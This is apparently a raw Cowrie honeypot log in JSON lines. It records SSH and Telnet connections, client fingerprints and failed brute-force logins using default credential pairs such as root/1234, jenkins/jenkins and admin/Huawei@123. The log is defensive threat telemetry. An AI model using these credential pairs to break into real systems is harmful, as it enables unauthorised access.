{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:20.953762Z","src_ip":"192.109.200.78","session":"ddeafe12b972","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:21.022250Z","src_ip":"192.109.200.78","session":"ddeafe12b972","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.0.174.194","src_port":33574,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea1594ff8052","protocol":"telnet","message":"New connection: 154.0.174.194:33574 (10.17.0.5:23) [session: ea1594ff8052]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:21.139401Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111","message":"login attempt [root/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:21.355418Z","src_ip":"192.109.200.78","session":"ddeafe12b972","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.0.174.194","src_port":33586,"dst_ip":"10.17.0.5","dst_port":23,"session":"9692934e7151","protocol":"telnet","message":"New connection: 154.0.174.194:33586 (10.17.0.5:23) [session: 9692934e7151]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:21.746490Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:22.442645Z","src_ip":"192.109.200.78","session":"ddeafe12b972","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.42.229.203","src_port":60718,"dst_ip":"159.203.135.109","dst_port":23,"session":"54c249b9cdf5","protocol":"telnet","message":"New connection: 5.42.229.203:60718 (159.203.135.109:23) [session: 54c249b9cdf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:24.186719Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.0.174.194","src_port":35010,"dst_ip":"10.17.0.5","dst_port":23,"session":"edfa520e07df","protocol":"telnet","message":"New connection: 154.0.174.194:35010 (10.17.0.5:23) [session: edfa520e07df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:24.667590Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.0.174.194","src_port":35024,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b5fe26a13dc","protocol":"telnet","message":"New connection: 154.0.174.194:35024 (10.17.0.5:23) [session: 0b5fe26a13dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:24.725303Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49984,"dst_ip":"10.17.0.5","dst_port":22,"session":"c83f79d82228","protocol":"ssh","message":"New connection: 192.109.200.78:49984 (10.17.0.5:22) [session: c83f79d82228]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:25.015325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:25.019307Z","src_ip":"192.109.200.78","session":"c83f79d82228","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:25.106058Z","src_ip":"192.109.200.78","session":"c83f79d82228","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins","message":"login attempt [jenkins/jenkins] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:25.368669Z","src_ip":"192.109.200.78","session":"c83f79d82228","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:26.536970Z","src_ip":"192.109.200.78","session":"c83f79d82228","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55472,"dst_ip":"10.17.0.5","dst_port":22,"session":"486ad2b998e0","protocol":"ssh","message":"New connection: 192.109.200.78:55472 (10.17.0.5:22) [session: 486ad2b998e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:29.154336Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:29.158706Z","src_ip":"192.109.200.78","session":"486ad2b998e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:29.239831Z","src_ip":"192.109.200.78","session":"486ad2b998e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234","message":"login attempt [root/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:29.486719Z","src_ip":"192.109.200.78","session":"486ad2b998e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.0.174.194","src_port":35026,"dst_ip":"10.17.0.5","dst_port":23,"session":"c40d9d23879c","protocol":"telnet","message":"New connection: 154.0.174.194:35026 (10.17.0.5:23) [session: c40d9d23879c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:30.444321Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:30.572386Z","src_ip":"192.109.200.78","session":"486ad2b998e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":58684,"dst_ip":"159.203.135.109","dst_port":23,"session":"a55bd43bbbfc","protocol":"telnet","message":"New connection: 206.189.71.75:58684 (159.203.135.109:23) [session: a55bd43bbbfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:30.707953Z"}
{"eventid":"cowrie.session.closed","duration":30.35878038406372,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:32.162251Z","src_ip":"154.0.174.194","session":"092ed44240fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50556,"dst_ip":"159.203.135.109","dst_port":22,"session":"00ad2ff227a9","protocol":"ssh","message":"New connection: 159.203.92.129:50556 (159.203.135.109:22) [session: 00ad2ff227a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:33.177322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:33.203784Z","src_ip":"159.203.92.129","session":"00ad2ff227a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:33.207013Z","src_ip":"159.203.92.129","session":"00ad2ff227a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55482,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ca0d9292b6a","protocol":"ssh","message":"New connection: 192.109.200.78:55482 (10.17.0.5:22) [session: 2ca0d9292b6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:33.221253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:33.225742Z","src_ip":"192.109.200.78","session":"2ca0d9292b6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:33.308720Z","src_ip":"192.109.200.78","session":"2ca0d9292b6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Huawei@123","message":"login attempt [admin/Huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:33.355593Z","src_ip":"159.203.92.129","session":"00ad2ff227a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.608065366744995,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:33.488591Z","src_ip":"206.189.71.75","session":"0c8b6ec2a63b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword1","message":"login attempt [root/P@ssword1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:33.565281Z","src_ip":"192.109.200.78","session":"2ca0d9292b6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.11570334434509,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:34.044827Z","src_ip":"206.189.71.75","session":"6b8be3a17f00","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:34.364679Z","src_ip":"159.203.92.129","session":"00ad2ff227a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:34.649581Z","src_ip":"192.109.200.78","session":"2ca0d9292b6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.0.174.194","src_port":35040,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e81c798c79c","protocol":"telnet","message":"New connection: 154.0.174.194:35040 (10.17.0.5:23) [session: 8e81c798c79c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:34.904481Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.0.174.194","src_port":48382,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1fa7767ec0a","protocol":"telnet","message":"New connection: 154.0.174.194:48382 (10.17.0.5:23) [session: e1fa7767ec0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:35.639877Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55504,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2a5262540b2","protocol":"ssh","message":"New connection: 192.109.200.78:55504 (10.17.0.5:22) [session: a2a5262540b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:37.480939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:37.485839Z","src_ip":"192.109.200.78","session":"a2a5262540b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:37.569696Z","src_ip":"192.109.200.78","session":"a2a5262540b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.0.174.194","src_port":48388,"dst_ip":"10.17.0.5","dst_port":23,"session":"865fff3ada70","protocol":"telnet","message":"New connection: 154.0.174.194:48388 (10.17.0.5:23) [session: 865fff3ada70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:37.684724Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456","message":"login attempt [root/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:37.823877Z","src_ip":"192.109.200.78","session":"a2a5262540b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.199999570846558,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:38.136392Z","src_ip":"154.0.174.194","session":"74f3ef93757f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:38.917163Z","src_ip":"192.109.200.78","session":"a2a5262540b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":34464,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1df2827f950","protocol":"ssh","message":"New connection: 192.109.200.78:34464 (10.17.0.5:22) [session: d1df2827f950]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:41.604084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:41.608197Z","src_ip":"192.109.200.78","session":"d1df2827f950","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:41.690402Z","src_ip":"192.109.200.78","session":"d1df2827f950","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab","password":"gitlab","message":"login attempt [gitlab/gitlab] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:42.109913Z","src_ip":"192.109.200.78","session":"d1df2827f950","protocol":"ssh"}
